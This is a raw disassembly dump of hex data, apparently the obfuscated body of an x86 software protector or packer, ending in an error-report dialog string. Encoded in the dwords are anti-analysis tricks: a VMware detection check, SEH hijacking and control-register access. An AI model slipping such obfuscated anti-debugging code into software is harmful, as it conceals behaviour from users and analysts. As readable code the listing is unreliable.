1328C357h, 0E9244735h dd 10h, 2246C578h, 0D344956Bh, 0A9BA09DFh, 0E294AF4Dh dd 267D95FFh, 0DE907E0h, 24000000h, 0DB41C830h, 0A7C8E699h dd 32943FFAh, 0A95FEA81h, 0C08555BAh, 15850Fh, 10E90000h dd 0D1000000h, 0F99D3DBCh, 12C3CB6Dh, 5EECA1ECh, 6A13B912h dd 0D68B6610h, 569BD83h, 0F0007E0h, 4484h, 14E900h, 2A800000h dd 434BDC92h, 2178F75Dh, 1FD1CC36h, 5AABCA31h, 858D05B8h dd 7E2FED6h, 0FC60D18Ah, 0CE9h, 9CFAB200h, 43884308h, 4E5EB008h dd 16E961EAh, 60000000h, 3E3CE281h, 8B614FE6h, 0AC858DF8h dd 107E2FEh, 0E026658Dh, 0B70F5007h, 79B5FFFBh, 0F07E2FEh dd 58Eh, 20E7B900h, 8D8B3EC9h, 7E01E2Dh, 0FE7195FFh, 8D0107E2h dd 7E00579h, 850FC085h, 2Ah, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 2AC35343h, 2215B84Ah, 53DEB198h dd 1DBDBD8Bh, 858907E0h, 7E2FE7Dh, 13D18D03h, 6A07E0h dd 2121BD8Bh, 6A07E0h, 13E8h, 0D7450D00h, 9649183Ch, 4D1CAEBFh dd 0AC67E284h, 5E938D3Dh, 3415BD89h, 0FF5F07E0h, 0E2FE7DB5h dd 6995FF07h, 6A07E2FEh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 16042444h, 45000000h, 0B1AFC355h, 0C18D89ABh dd 5207E02Fh, 3DBD8960h, 8B07E000h, 855961FAh, 9850FC0h dd 89000000h, 0E0078595h, 0EEF58007h, 0FE7DB5FFh, 8B6607E2h dd 7D95FFCFh, 6007E026h, 0D33C781h, 9D8909D8h, 7E00071h dd 16E9B961h, 0C0853D04h, 22850Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0F3367EC3h dd 26D33D62h, 9503006Ah, 7E01805h, 8068h, 9D952900h, 6A07E014h dd 0D958B03h, 6A07E01Ah, 2BB96600h, 0E9006AD2h, 0Dh, 23EF63D1h dd 17C8B694h, 0BFA89A13h, 6880h, 8B66C000h, 0F5B5FFCEh dd 0F07E2FEh, 18Fh, 95FFF800h, 7E02E49h, 0DBCDCA81h, 0F8836819h dd 0D850FFFh, 89000006h, 0E0257DB5h, 6385FF07h, 6607E309h dd 0BD83FB8Bh, 7E30963h, 0B1840F02h, 8B000004h, 0E0209595h dd 3B858D07h, 0FF005B24h, 952953D0h, 7E008ADh, 8E858D59h dd 81005B1Eh, 0A8FC26E7h, 0FD0FF12h, 68Eh, 39952900h, 8B07E013h dd 50006AC0h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 0A5BB19D8h, 13E8EBh, 85890000h, 472AEFF4h dd 0EDAF0D3h, 46B9BFD7h, 169385AEh, 4850FC3h, 66000000h dd 5A1B3FBAh, 1FE5BD8Bh, 0BD8307E0h, 7E006B1h, 83097500h dd 0E001C5BDh, 19740007h, 0C08B5350h, 7D8B8h, 0F5858900h dd 8D07E020h, 0E2BC629Dh, 5BD3FF07h, 0C5BD8358h, 7E001h dd 53501774h, 7D8B8h, 0F5858900h, 8D07E020h, 0E2B9519Dh dd 5BD3FF07h, 0BE858h, 0FB940000h, 0BC477DBFh, 0EB8D055Bh dd 88BF66DCh, 0F605F54h, 0BD31CBBFh, 7E02641h, 15BD8B61h dd 8B07E030h, 68CB8BC0h, 0F003Fh, 0E8006AF8h, 9, 91B1D5D7h dd 297AF661h, 7DCD80FCh, 89006A5Ah, 0E0315DB5h, 8E907h dd 5810000h, 6AFF4A4Bh, 95FF8A6Eh, 7E01675h, 1E899509h dd 0C08507E0h, 2A2DBD0Bh, 858907E0h, 7E2FE79h, 8AAEE981h dd 0FF6806F7h, 0E9000F01h, 0Dh, 77ED2268h, 42253A3Bh, 72C7553Ch dd 0A5BD89E3h, 8307E01Fh, 0E00569BDh, 840F0007h, 48h, 0C8D0Fh dd 890F0000h, 6, 30159D89h, 72BF07E0h, 8D14B208h, 0E2FED685h dd 0CDE68007h, 32E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1504h, 0C3554500h, 0BD3126AEh, 7E0231Dh dd 0FEAC858Dh, 816607E2h, 6607E7F7h, 507A7FB9h, 0AE9h dd 0D8B94900h, 25BB99E6h, 8BE90CB9h, 0E033358Dh, 79B5FF07h dd 8907E2FEh, 0E0149D85h, 0E58D8907h, 0FF07E012h, 0E2FE7195h dd 0ED850107h, 8907E01Fh, 0E2FE7D85h, 50006A07h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 0D5CE02F4h, 0D78166D2h, 85C78AA1h, 7E017B9h, 0 dd 42BF29BAh, 7DBD832Ch, 7E2FEh, 26B840Fh, 0E8560000h dd 12h, 0C2FFB29Ah, 33EEA76Ch, 69E33EFh, 5B1DAE6Eh, 0F38A7BC4h dd 8D0B5A5Fh, 7E022E9h, 15B858Dh, 6A07E3h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 8372A7C3h dd 362662D2h, 9531302Bh, 7E01B35h, 57006A50h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 0B797E517h dd 0B52DFAEDh, 7EDE8083h, 1D419533h, 16A07E0h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 49C35141h, 14E877h dd 0E8030000h, 65837B66h, 0DC909B1Ah, 0EAB2E741h, 0E9D4E3D2h dd 958B50C8h, 7E03445h, 7DB5FF59h, 8907E2FEh, 0E02B35BDh dd 7595FF07h, 2907E2FEh, 0E01D3D8Dh, 7DB5FF07h, 2907E2FEh dd 0E03401B5h, 7D95FF07h, 6A07E026h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 8C98C350h dd 0F01FF68h, 11E900h, 0BE010000h, 0DF994230h, 7D7271BFh dd 5C69F25Ch, 8980163Eh, 0E019FD95h, 69BD8307h, 7E005h dd 3F840Fh, 0E8600000h, 12h, 0D77C8B4Fh, 3D931AEDh, 1D4049DAh dd 57545B4Dh, 0E7BA78E7h, 5957935Fh, 3161BD89h, 666107E0h dd 858DCE8Bh, 7E2FED6h, 2FC1BD8Bh, 25E907E0h, 8B000000h dd 0E00F3D95h, 0AC858D07h, 0E907E2FEh, 14h, 4CEF26CDh dd 9081146Eh, 1E202082h, 4D0F8747h, 7C31D9C5h, 5E950h dd 1B0000h, 0FF4651D7h, 0E2FE79B5h, 0C2E78107h, 0FF2645EBh dd 0E2FE7195h, 0E58D2307h, 8B07E030h, 0E0195D8Dh, 7D858907h dd 2B07E2FEh, 0E026DD95h, 7DB5FF07h, 6A07E2FEh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 0D4D4C351h, 3F731728h, 0B1BD3397h, 0FF07E018h, 0E2FE6D95h dd 50006A07h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 0B7D9A354h, 0B5FF57EFh, 7E2FE7Dh, 8B00A5B9h dd 7D95FF12h, 6A07E026h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 18042444h, 47000000h, 0AE78C357h, 575945C7h dd 0FE9h, 0A0BD7F00h, 7D81ABE7h, 0D3E7569h, 50DF2465h dd 518D8B5Fh, 0B607E006h, 0F633E9A9h, 0BD89FFFFh, 7E019CDh dd 9C6B5FFh, 0BA6607E3h, 95FF0C86h, 7E02091h, 858B65B2h dd 7E01C09h, 11D9BD8Bh, 0F48A07E0h, 608E9h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 0CE1A36C7h, 453465DDh, 0F56F968h, 128Dh, 0CE800h, 0B2A30000h dd 0D433AD8Eh, 0AE97D6F9h, 595F1584h, 26419529h, 0B58D07E0h dd 7E3017Bh, 0AAE98166h, 3995015Bh, 8D07E030h, 0E2AE5885h dd 0E58D8907h, 0FF07E01Ah, 50006AD0h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1804h, 0C3504000h, 0AA72EC15h dd 55B5893Bh, 6A07E029h, 95FFF900h, 7E028FDh, 4598D8Bh dd 0F38B07E0h, 11E9h, 0C75CA000h, 55A870D3h, 0A2DE9EFBh dd 2F8365E2h, 858D90BDh, 7E2AE58h, 2F79BD8Bh, 0D0FF07E0h dd 2921BD89h, 6A07E0h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 15h, 4C35343h, 9589F8E8h, 7E016B5h, 28FD95FFh dd 6A07E0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h dd 55450000h, 53B127C3h, 0D7852A65h, 0BD8B637Ch, 7E0138Dh dd 7AB9C08Bh, 8341BF6Fh, 0E006B1BDh, 9750007h, 1C5BD83h dd 740007E0h, 8B535019h, 7D9B8C0h, 85890000h, 7E020F5h dd 0BC629D8Dh, 0D3FF07E2h, 0BD83585Bh, 7E001C5h, 50177400h dd 7D9B853h, 85890000h, 7E020F5h, 0B9519D8Dh, 0D3FF07E2h dd 0BD89585Bh, 7E02E6Dh, 7AD9D89h, 0BA6607E0h, 0C08B2E0Ah dd 0EE8h, 91CC7600h, 0DBC82AF6h, 5606D636h, 895A9487h dd 0E0155595h, 0FC505A07h, 8D53D88Bh, 0E014DD9Dh, 89038B07h dd 50438B03h, 8D504389h, 0E3095F9Dh, 89038B07h, 6A5B03h dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h dd 880F8AC3h, 4, 8492BA66h, 12AEA3B9h, 0EA816674h, 6AA5A8h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0C6C35141h dd 963FECB0h, 96839625h, 895FF550h, 0E028F985h, 5F858D07h dd 6A07E309h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 6E92C355h, 0BD8B5042h, 7E03485h dd 7D8D8B51h, 5907E015h, 6A606Ah, 3E850h, 58200000h, 448958C3h dd 44810424h, 1C0424h, 50400000h, 591D74C3h, 80AFF9EFh dd 8B60096Ah, 0E025F58Dh, 0BBF6607h, 858D6197h, 7E014DDh dd 0AE9h, 324FDE00h, 0D0E92C54h, 50497C45h, 79BD2B60h dd 0E807E033h, 10h, 88DD8373h, 0F5C43DADh, 0F6DA48FCh dd 73E6126Dh, 0DE8h, 1B6D0900h, 0A90852AFh, 0FBCFB43h dd 5B598828h, 890F5661h, 3, 5AD1B70Fh, 0CE9006Ah, 84000000h dd 0C6C249FCh, 2B52F8D0h, 0F2EA6FCh, 6AD7B7h, 68FE8B66h dd 1800h, 4598531h, 0AE907E0h, 95000000h, 89187CBEh, 73BC9F0Fh dd 10E95332h, 2C000000h, 5ABBA826h, 3CEB2D28h, 4EB3F12Ch dd 0FFB21E25h, 0E01EB995h, 19D0107h, 0FF07E002h, 0E001B995h dd 0DE907h, 4CF30000h, 1B05D1B2h, 91118387h, 0FF9C13C1h dd 0E309C6B5h, 0BDC28007h, 209195FFh, 0F68007E0h, 0DD858DCBh dd 6A07E014h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 14042444h, 47000000h, 8BFDC357h, 0E006BD95h, 18408B07h dd 12E9h, 65CCAA00h, 0CBC9E4CDh, 90E1C10Fh, 0DFB64522h dd 0C72072B2h, 0E020CD85h, 7, 0C9B70F00h, 569BD83h, 0F0007E0h dd 3E84h, 0ACEE8000h, 8C3Dh, 8D830F00h, 6A000001h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h dd 0B025C356h, 0B1A710F5h, 0E9B589CBh, 0E907E01Dh, 14h dd 3DCB8B66h, 98h, 152830Fh, 958B0000h, 7E004BDh, 243B858Dh dd 8166005Bh, 0FCE6E9D7h, 0BD8BD0FFh, 7E01D61h, 68B0Fh dd 958B0000h, 7E026A9h, 1E8E858Dh, 810F005Bh, 6, 18B9BD8Bh dd 565607E0h, 0CE8h, 6F9B6700h, 420937FAh, 11CB6B38h, 595F5949h dd 13E9D0FFh, 7A000000h, 0AEDBA021h, 77F1C840h, 0F670412Fh dd 0BD21A1FBh, 0C08B9762h, 0CE9h, 7332FC00h, 0E02D2768h dd 0D61BEE5Fh, 0B1BD8351h, 7E006h, 0BD830975h, 7E001C5h dd 50197400h, 0B8C08B53h, 0BC6h, 20F58589h, 9D8D07E0h dd 7E2BC62h, 585BD3FFh, 1C5BD83h, 740007E0h, 0B8535017h dd 0BC6h, 20F58589h, 9D8D07E0h, 7E2B951h, 585BD3FFh, 14E9h dd 8F185200h, 0FB5D5FE5h, 73403FC6h, 41CCC676h, 64964CF7h dd 31958B6Eh, 5107E000h, 59D6B70Fh, 0BD8BC08Bh, 7E01B81h dd 0FFFF883h, 3385h, 0CD958B00h, 0C707E000h, 0E018D985h dd 7, 0BDB1BF00h, 0EDBF39F8h, 0E92CFA3Dh, 0B3h, 2BCEB70Fh dd 0E01B75BDh, 1FE907h, 0D7810000h, 294C8EDDh, 0F01F883h dd 1085h, 41BD8B00h, 0E907E013h, 0D1h, 0BFA7BF66h, 0F0C7E9F9h dd 0BD8BFFFFh, 7E01BA1h, 0B589C08Bh, 7E02F59h, 6B1BD83h dd 750007E0h, 0C5BD8309h, 7E001h, 53501974h, 0DDB8C08Bh dd 89000007h, 0E020F585h, 629D8D07h, 0FF07E2BCh, 83585BD3h dd 0E001C5BDh, 17740007h, 0DDB85350h, 89000007h, 0E020F585h dd 519D8D07h, 0FF07E2B9h, 51585BD3h, 0E58D8B5Ah, 6607E018h dd 8B0180B9h, 860FF5C0h, 8, 28B0Fh, 0F0B50000h, 24CE9h dd 69853100h, 8D07E01Ah, 0E3076385h, 0CD958B07h, 8907E001h dd 0E3095B85h, 91BD8907h, 0E907E02Ch, 79h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 55C35545h, 0D56CD88Fh dd 0C2182F78h, 0E680D4BAh, 6B858D17h, 5307E305h, 820Fh dd 40590000h, 0B019F281h, 858976C7h, 7E3095Bh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0D8C35141h, 3CE61594h dd 4ED25719h, 2860FB6h, 0B1000000h, 0C781669Dh, 0B70F10D6h dd 8D346ACBh, 0E021E985h, 0B5FF5007h, 7E3095Bh, 95FF006Ah dd 7E02F71h, 0F07F883h, 16884h, 0DB8C6600h, 0F04C3F6h dd 10285h, 5985C600h, 5607E007h, 0A8B85268h, 1B5FF9Ch dd 8D07E02Fh, 0E039F885h, 6AD0FF07h, 10006804h, 646A0000h dd 0D0FF006Ah, 9CE8589h, 85C607E3h, 7E00759h, 0AC9B6847h dd 0B5FFEC18h, 7E02F01h, 39F8858Dh, 0D0FF07E0h, 0F08BD0FFh dd 75985C6h, 684F07E0h, 0C62F2661h, 1B71B5FFh, 858D07E0h dd 7E039F8h, 9D8DD0FFh, 7E309CAh, 56286A53h, 0C085D0FFh dd 85C60075h, 7E00759h, 64986841h, 0B5FFDB87h, 7E01B71h dd 39F8858Dh, 0D0FF07E0h, 9E78589h, 85C607E3h, 7E00759h dd 0E7A4684Ch, 0B5FF80A4h, 7E01B71h, 39F8858Dh, 0D0FF07E0h dd 9CE9D8Bh, 5B8D07E3h, 9D8D5304h, 7E309D3h, 0FF006A53h dd 0CE9D8BD0h, 0C707E309h, 103h, 0C43C700h, 2, 33699D8Bh dd 85C707E0h, 7E02E01h, 0 aJjj: unicode 0, <jjj> aLaUSj db '‹Î',9,'ã',7,'Sj',0 db 0FFh dd 0E309CAB5h, 0E795FF07h, 0C607E309h, 0E0075985h, 97684507h dd 0FF92A5F7h, 0E03085B5h, 0F8858D07h, 0FF07E039h, 6A006AD0h dd 66D0FF02h, 0C3F6DB8Ch, 8B327504h, 0E309CE9Dh, 0C43C707h dd 0 dd 6A006Ah, 9CE9D8Bh, 6A5307E3h, 0CAB5FF00h, 0FF07E309h dd 0E309E795h, 0CAB5FF07h, 0FF07E309h, 0E001B995h, 0FF006A07h dd 0E028FD95h, 0A1952907h, 8B07E02Ch, 0E00689BDh, 95316007h dd 7E0186Dh, 6840Fh, 9D2B0000h, 7E01819h, 6A858D61h, 0BA07E33Eh dd 7ABD224Ch, 11E96050h, 0DA000000h, 0D2249282h, 0EE0366Dh dd 9AE8273Dh, 9D016D7Fh, 0FF6461F5h, 35h, 0F1B58900h, 6407E033h dd 2589h, 83FC0000h, 0E02FF5BDh, 840F0007h, 75h, 59952360h dd 5307E032h, 5A93E880h, 850B6061h, 7E01019h, 14D5BD89h dd 836107E0h, 0E016B1BDh, 850F0107h, 4Dh, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 14h, 5BC35646h, 0EAED4FBAh dd 658D8B5Dh, 8007E025h, 0E30DE7BDh, 850F0007h, 19h, 2D558D8Bh dd 89E907E0h, 60000001h, 11CDBD89h, 858907E0h, 7E008CDh dd 29DB3361h, 0E01D1DB5h, 0E8C03307h, 5, 276A3E48h, 405AF91Fh dd 0B073F0Fh, 58F64h, 83000000h, 8D8B04C4h, 7E0162Dh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0A4C35646h, 0A28F113h dd 2A8D9D89h, 0FB8307E0h, 0C840FFFh, 0F8000000h, 111E9h dd 0D5958900h, 0E907E01Ch, 84h, 0DE9h, 967E3400h, 8DA3E816h dd 366E1EA9h, 4C8B6A63h, 81C70C24h, 0A4h, 0FFFFFFFFh, 0B88183h dd 33040000h, 5C8BC3C0h, 0E8550C24h, 0 aBamULg db ']íŒ>ã',7,'‹ƒ¸',0 align 4 dd 68858D00h, 8907E33Fh, 0B883h, 0C0335D00h, 53006AC3h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 534FC7C8h, 0BE9h, 23EE9700h, 0A77D5FC5h, 0A9C47159h dd 0D2B70F5Ah, 3E82858Dh, 0F98B07E3h, 52006A50h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 5118B489h, 2671BD8Bh, 0BD8907E0h, 7E01915h, 35FF64h dd 81000000h, 7286FED9h, 25896444h, 0 dd 0C800Fh, 7E90000h, 0EB000000h, 50B7D1Bh, 0AB917FDh dd 0B8000000h, 4855D704h, 0F7816405h, 0D465BB0Dh, 40BA8685h dd 810034B6h, 345FE8EAh, 0FB81ED00h, 564D5868h, 85C70A75h dd 7E01115h, 1, 58F64h, 83000000h, 8D8B04C4h, 7E01691h dd 0FC9B70Fh, 0C08BFABFh, 164DBD8Bh, 0BD8307E0h, 7E006B1h dd 83097500h, 0E001C5BDh, 19740007h, 0C08B5350h, 43DB8h dd 99858900h, 8D07E023h, 0E2BCC99Dh, 5BD3FF07h, 0C5BD8358h dd 7E001h, 53501774h, 43DB8h, 99858900h, 8D07E023h, 0E2B96A9Dh dd 5BD3FF07h, 58C0F58h, 66000000h, 0F65EE981h, 1AE28166h dd 6EA2BAECh, 0E18127D5h, 6F5ABF2Bh, 47E9C08Bh, 4000001h dd 31000000h, 3031392Eh, 7 dup(0) dd 63784500h, 69747065h, 49206E6Fh, 726F666Eh, 6974616Dh dd 50006E6Fh, 7361656Ch, 63202C65h, 61746E6Fh, 74207463h dd 73206568h, 7774666Fh, 20657261h, 65766564h, 65706F6Ch dd 77207372h, 20687469h, 20656874h, 6C6C6F66h, 6E69776Fh dd 6F632067h, 2E736564h, 61685420h, 79206B6Eh, 0A2E756Fh dd 200D0A0Dh, 20202020h, 28202020h, 73657270h, 54432073h dd 432B4C52h, 206E6F20h, 73696874h, 6E697720h, 20776F64h dd 63206F74h, 2079706Fh, 63206F74h, 6270696Ch, 6472616Fh dd 20202029h, 0A0D0A20h, 7265560Dh, 6E6F6973h, 203D2020h dd 0D0A7325h, 63656843h, 204E496Bh, 25203D20h, 430D0A64h dd 6B636568h, 2054554Fh, 6425203Dh, 72500D0Ah, 4E49636Fh dd 3D202020h, 0A642520h, 6F72500Dh, 54554F63h, 203D2020h dd 0D0A6425h, 74697845h, 20204E49h, 25203D20h, 450D0A64h dd 4F746978h, 20205455h, 6425203Dh, 50540D0Ah, 20206E69h dd 3D202020h, 0A642520h, 0BD83000Dh, 7E01D85h, 2D840F00h dd 8D000001h, 0E2B78185h, 858D5007h, 7E2B6EBh, 16850h dd 95FF8000h, 7E2B791h, 3FF3858Dh, 8D5007E3h, 0E33FFD85h dd 6A5007h, 858D006Ah, 7E2B6FFh, 81B5FF50h, 0FF07E2B7h dd 0E022FD95h, 0F3858D07h, 5007E33Fh, 4001858Dh, 6A5007E3h dd 8D006A00h, 0E2B71185h, 0B5FF5007h, 7E2B781h, 22FD95FFh dd 858D07E0h, 7E33FF3h, 0D858D50h, 5007E340h, 6A006Ah dd 0B75E858Dh, 0FF5007E2h, 0E2B781B5h, 0FD95FF07h, 8D07E022h dd 0E33FF385h, 858D5007h, 7E34015h, 6A006A50h, 7C858D00h dd 5007E2B7h, 0B781B5FFh, 95FF07E2h, 7E022FDh, 3FF3858Dh dd 8D5007E3h, 0E3401185h, 6A5007h, 858D006Ah, 7E2B765h dd 81B5FF50h, 0FF07E2B7h, 0E022FD95h, 0F3858D07h, 5007E33Fh dd 4005858Dh, 6A5007E3h, 8D006A00h, 0E2B76D85h, 0B5FF5007h dd 7E2B781h, 22FD95FFh, 858D07E0h, 7E33FF3h, 9858D50h dd 5007E340h, 6A006Ah, 0B774858Dh, 0FF5007E2h, 0E2B781B5h dd 0FD95FF07h, 0FF07E022h, 0E2B781B5h, 4995FF07h, 0E907E029h dd 0A2h, 1B15BD83h, 0F0007E0h, 9584h, 0B1BD8300h, 7E016h dd 11850Fh, 958B0000h, 7E02A89h, 1CF8C281h, 0FE90000h dd 8D000000h, 0E014DD95h, 34528B07h, 0C340C281h, 95893BD4h dd 7E01E09h, 1E09BD83h, 0F0007E0h, 5584h, 99D8B00h, 8307E01Eh dd 38B4CC3h, 3FFD8589h, 9D8B07E3h, 7E01E09h, 8B50C383h dd 1858903h, 8B07E340h, 0E01E099Dh, 54C38307h, 8589038Bh dd 7E3400Dh, 1E099D8Bh, 0C38307E0h, 89038B58h, 0E3401185h dd 99D8B07h, 8307E01Eh, 38B5CC3h, 40058589h, 0BD8307E3h dd 7E01D85h, 0D850F00h, 83000000h, 0E01B15BDh, 840F0007h dd 68h, 4015B5FFh, 0B5FF07E3h, 7E34009h, 4005B5FFh, 0B5FF07E3h dd 7E34011h, 400DB5FFh, 0B5FF07E3h, 7E34001h, 3FFDB5FFh dd 858D07E3h, 7E33FF7h, 2F858D50h, 5007E340h, 215858Dh dd 0FF5007E0h, 0E0188195h, 24C48307h, 858D406Ah, 7E34019h dd 15858D50h, 5007E002h, 95FF006Ah, 7E02F71h, 95FF016Ah dd 7E028FDh, 8160C18Bh, 57D7A8D9h, 0E1816640h, 0C08B5649h dd 38F0Fh, 8B660000h, 0B1BD83D3h, 7E006h, 0BD830975h, 7E001C5h dd 50197400h, 0B8C08B53h, 40Eh, 20F58589h, 9D8D07E0h, 7E2BC62h dd 585BD3FFh, 1C5BD83h, 740007E0h, 0B8535017h, 40Eh, 20F58589h dd 9D8D07E0h, 7E2B951h, 585BD3FFh, 0E3BE6653h, 6A5A20h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h dd 0F394CEC3h, 0FBFF6158h, 8B458A38h, 83DFB5C0h, 0E02FF5BDh dd 840F0007h, 4Ch, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Dh, 0F5C35646h, 9DFABD69h, 0C1470880h, 29CE9E9h dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h dd 56460000h, 0EE2D5C3h, 9141DE2Fh, 0D48ADF8Ch, 0C7F766F9h dd 850F0004h, 26Ah, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ah, 4EC35646h, 0FF59CD98h, 31B11AA3h, 13E9h dd 0DE9D300h, 79FE43D6h, 0F0AF291Fh, 0FF191426h, 0FD5FD63h dd 569BD83h, 0F0007E0h, 0D85h, 0BE6600h, 218E997h, 0B2570000h dd 0FF2B5A2Dh, 8E9D8DF5h, 0F07E346h, 93F8F1BFh, 4810F60h dd 66000000h, 0E91D8EBEh, 5, 2B1DBEC4h, 50506151h, 8E0F52h dd 0F000000h, 0BE525031h, 76A163D0h, 5250310Fh, 585A310Fh dd 585A585Ah, 64D38B93h, 35FFh, 0D68B0000h, 258964F5h dd 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0DAC35141h dd 44252CD0h, 8166C48Bh, 0CDEAD6D2h, 8000EB01h, 6AD9D5h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 17C12DC3h, 0E934E180h, 5, 886AC965h, 6438B560h, 58Fh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 10DC31C3h, 26883064h, 0EE8160BCh, 773FD745h dd 5FD68B57h, 1235BE61h, 0C4831CDAh, 55006A04h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 0FC00B65h dd 10184h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1D04h, 0C3564600h, 77E3230Ch, 0D1576EE1h, 61FC28F0h dd 0BD8DF2B6h, 7E0748Dh, 14E8h, 7C1A2C00h, 789750D4h, 22F0EB41h dd 5E04C365h, 59A6C17Ah, 0B8A0F62h, 0E9000000h, 6, 0CED9D8D2h dd 0B85A6322h, 1, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ch, 24C35646h, 0AEB67220h, 0F2C95D75h, 18B0Fh, 0FFF90000h dd 0F18166E7h, 8B57FFB8h, 8B10245Ch, 0B883h, 40B60F00h dd 89C8FE01h, 0B083h, 0B8838300h, 2000000h, 0C3C0335Fh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0ACC35646h dd 8B66062Ah, 13E8D7h, 61280000h, 9038D1EFh, 1A5A3D13h dd 71F15A1Ah, 1F510EECh, 0EE8B1h, 48E60000h, 23118594h dd 0F476A196h, 7AD9A86h, 8A615A5Eh, 0C08BF5C8h, 0BD83CCB1h dd 7E006B1h, 83097500h, 0E001C5BDh, 19740007h, 0C08B5350h dd 40EB8h, 99858900h, 8D07E023h, 0E2BCC99Dh, 5BD3FF07h dd 0C5BD8358h, 7E001h, 53501774h, 40EB8h, 99858900h, 8D07E023h dd 0E2B96A9Dh, 5BD3FF07h, 0D6B70F58h, 8557CA81h, 0C08B3B3Eh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0FC35242h dd 81AD0A09h, 4A4EAD2h, 0E8C28B64h, 0Fh, 5DDCACF8h, 680D93EAh dd 0ED217F1h, 0FFE4C5Fh, 288h, 5B5F5700h, 5E9h, 0F5A63500h dd 0C3818FB6h, 6E0Ch, 13E9h, 0EB3100h, 4341A007h, 0ADAAB493h dd 2C4DD4D7h, 14C7C790h, 13E8C033h, 5E000000h, 76EE00BCh dd 4F90840Bh, 7265EB54h, 0BFC079C9h, 8B5ED828h, 0BE66030Ch dd 0E981390Ah, 6694D35Eh, 9102C181h, 0E9815CA8h, 5AEADF20h dd 7E8h, 0EA119A00h, 18D4843Fh, 13E851h, 3FCD0000h, 0FBF431C1h dd 187461DFh, 0F3CED811h, 4C66F3FAh, 5F5A5F57h, 0BF030C89h dd 3C46A3Ch, 83F8B70Fh, 484801E8h, 0DCF88148h, 0FFFFF92h dd 1385h, 0C4BE6600h, 2AE9A7h, 1D480000h, 4D3FE9C5h, 96DF3A75h dd 61606060h, 8E961h, 55FD0000h, 1A749BFEh, 0E96193B4h dd 0FFFFFF77h, 5390F8AEh, 20660FDAh, 0F31718EBh, 9B46h dd 4 dup(0) dd 0BE90000h, 60000002h, 24245C8Bh, 0E8h, 0ED815D00h, 7E3489Dh dd 4C261h, 0FFFFE6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh dd 8C261h, 0FFFFF6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh dd 8C261h, 0FFFFF6E9h, 0FFh, 0 dd 0C3616000h, 0FFFFF8E9h, 0D5B58BFFh, 8107E348h, 0FFF000E6h dd 0BE9FFh, 19E80000h, 81000000h, 1000C6h, 0D9B53B00h dd 0F07E348h, 0FFFFE986h, 0D8200FFFh, 0CFD8220Fh, 50C36160h dd 24C88C66h, 0FC00A03h, 1984h, 0BB535000h, 2, 1E09858Bh dd 188607E0h, 850FDB0Ah, 0FFFFFFF6h, 0FF58585Bh, 0E9C32404h dd 0FFFFFFCFh, 2474FF50h, 595FF08h, 5007E01Ah, 244C010Fh dd 0C08358FEh, 5C8B531Ch, 89660C24h, 8966FC58h, 665B0258h dd 324C88Ch, 840FC00Ah, 9, 1E09858Bh, 0C607E0h, 4FF5800h dd 4C224h, 0FFFFBBE9h, 665053FFh, 0E380CB8Ch, 0FDB0A03h dd 3884h, 2BB00h, 858B0000h, 7E01E09h, 0DB0A1886h, 0FFF6850Fh dd 85C7FFFFh, 7E0122Dh, 0 aLdLs db '‹D$',8,'‹˜',0 db 10h dd 98890000h, 1000h, 1889188Bh, 0AE9h, 2D85C700h, 7E012h dd 58000001h, 2404FF5Bh, 0FFA3E9C3h, 8060FFFFh, 840F003Eh dd 31h, 3AB7A1BBh, 0B101B076h, 13E901h, 8AAC0000h, 32C302C8h dd 0AACBD1C3h, 840FD20Bh, 1, 0FC90A4Ah, 0FFFFE585h, 0FD20BFFh dd 